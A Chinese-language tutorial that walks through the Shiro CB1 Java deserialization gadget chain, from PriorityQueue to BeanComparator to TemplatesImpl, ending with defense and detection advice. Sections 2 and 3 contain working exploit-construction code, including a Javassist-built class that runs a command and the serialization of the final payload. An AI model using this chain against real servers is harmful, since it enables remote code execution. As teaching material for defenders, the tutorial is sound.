别再死记硬背Shiro的CB1链了!用一张图带你搞懂PriorityQueue到TemplatesImpl的完整调用栈
可视化拆解Shiro反序列化:从PriorityQueue到TemplatesImpl的完整攻击链
在Java安全领域,反序列化漏洞一直是攻防对抗的热点战场。Shiro框架的CB1链作为经典攻击路径,其复杂的方法调用关系常常让学习者望而生畏。本文将摒弃传统代码堆砌的讲解方式,通过可视化调用栈+关键节点精析的双维度解析,带您真正掌握这条攻击链的运作机理。
1. 攻击链全景图:关键节点与数据流向
让我们先俯瞰整个攻击流程的骨架结构。CB1链的核心在于利用Java反序列化机制,通过精心构造的对象关系触发一连串方法调用,最终实现任意代码执行。以下是简化后的关键节点序列:
PriorityQueue#readObject → heapify() → siftDown() → siftDownUsingComparator() → BeanComparator#compare → PropertyUtils.getProperty() → TemplatesImpl#getOutputProperties → newTransformer() → getTransletInstance() → defineTransletClasses() → loader.defineClass() [恶意代码执行点]这个调用栈揭示了攻击链的三大核心阶段:
- 入口触发阶段:通过PriorityQueue的反序列化操作自动触发readObject方法
- 方法桥接阶段:利用BeanComparator的比较操作跳转到属性获取方法
- 代码执行阶段:通过TemplatesImpl的类加载机制执行字节码
提示:理解攻击链的关键在于抓住每个节点的"输入输出"——前一个方法的返回值如何成为下一个方法的参数,以及对象属性如何控制执行流向。
2. 核心组件深度解析
2.1 PriorityQueue:攻击链的发动机
作为攻击链的入口点,PriorityQueue的反序列化行为有以下几个关键特征:
- 自动触发机制:Java反序列化时会自动调用readObject方法
- 比较器注入点:通过comparator属性控制后续执行路径
- 队列操纵技巧:需要满足size≥2的条件才能进入目标分支
典型攻击代码示例:
// 创建带比较器的优先队列 final PriorityQueue<Object> queue = new PriorityQueue<>(2, new BeanComparator(null)); queue.add("1"); queue.add("1"); // 满足size条件 // 反射修改队列内容 Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(queue, new Object[]{templatesImpl, templatesImpl});2.2 BeanComparator:方法调用的桥梁
BeanComparator在这个攻击链中扮演着关键的中转角色:
- 属性反射获取:通过property属性名动态调用getter方法
- 比较器伪装:表面是Comparator实现,实质是方法调用跳板
- 执行控制点:property值为"outputProperties"时触发目标方法
属性控制代码示例:
BeanComparator comparator = new BeanComparator(null); Field propertyField = BeanComparator.class.getDeclaredField("property"); propertyField.setAccessible(true); propertyField.set(comparator, "outputProperties"); // 关键属性设置2.3 TemplatesImpl:最终的攻击载荷
TemplatesImpl类提供了攻击链最关键的代码执行能力,其特殊机制包括:
- 字节码动态加载:通过_bytecodes字段载入恶意类
- 条件触发路径:需要满足_name非空且_class为null
- 防御规避特性:不依赖外部库,纯JDK内置类实现
恶意对象构造示例:
TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{maliciousBytes}); setField(templates, "_name", "pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl());3. 攻击链构造实战演示
让我们通过具体代码示例演示完整攻击链的组装过程:
// 生成恶意字节码(示例使用Javassist工具) ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get(AbstractTranslet.class.getName())); clazz.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");"); byte[] evilBytes = clazz.toBytecode(); // 构造TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 组装攻击链 BeanComparator comparator = new BeanComparator(null); setField(comparator, "property", "outputProperties"); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add("1"); queue.add("1"); // 初始化队列 setField(queue, "queue", new Object[]{templates, templates}); // 替换为恶意对象 // 序列化攻击对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(queue); byte[] payload = baos.toByteArray();4. 防御策略与检测方案
理解攻击原理后,我们可以从多个层面构建防御体系:
代码层防护:
- 禁用不必要的反序列化功能
- 使用白名单校验反序列化的类
- 升级安全补丁(如Shiro 1.2.5+)
架构层防护:
// 示例:Shiro反序列化防御配置 @Bean public DefaultSecurityManager securityManager() { DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRememberMeManager(rememberMeManager()); return manager; } @Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(Base64.decode("secure_random_key_here")); return manager; }运行时检测:
- 监控可疑的类加载行为
- 检测TemplatesImpl的异常使用
- 分析反序列化过程中的异常方法调用链
理解这些攻击模式不仅有助于防御,也能提升代码审计能力。当分析Java应用安全时,建议特别关注:
- 所有重写了readObject方法的类
- 支持动态方法调用的工具类(如BeanUtils)
- 具有代码执行能力的特殊类(如TemplatesImpl)
掌握这种分析思路,您就能举一反三地理解各种反序列化攻击链,而不仅限于记忆特定的利用路径。
